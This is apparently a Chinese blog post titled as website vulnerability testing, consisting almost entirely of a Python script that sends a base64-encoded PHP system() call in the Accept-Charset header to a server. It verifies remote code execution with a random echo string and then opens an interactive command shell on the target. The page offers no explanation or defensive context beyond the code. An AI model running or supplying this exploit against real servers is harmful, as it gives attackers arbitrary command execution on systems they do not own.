基于网站的漏洞测试


import base64
import sys
import string
import requests
import random



url = "http://192.168.8.135/ll.php"


def rce(url,cmd):
    cmd = base64.b64encode("system('{}');".format(cmd).encode()).decode()
    headers = {
        "Accept-Charset"   : cmd,
        "Accept-Encoding"  : "gzip,deflate",
        "User-Agent"       : "Feng"
    }

    res = requests.get(url = url, headers = headers)

    bof = 0
    dof = res.text.index("<!DOCTYPE html")

    return (res.content[bof:dof].decode('gb2312'))

def mAth():
    b = ''
    for h in range(10):
        h
        b += random.choice(string.digits + string.ascii_letters)
    return b

oath = mAth()

cmd = "echo " + oath

print("目标网址:" + url )

if oath not in rce(url, cmd):
    exit("貌似并没有什么发现")

print("貌似有发现,尝试一下?")

try:

    while True:
        cmd = input("(p≧w≦q)>cmd >:")

        if cmd == "q":
            break

        print(rce(url,cmd))

except KeyboardInterrupt as p:
    print("程序终止")

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值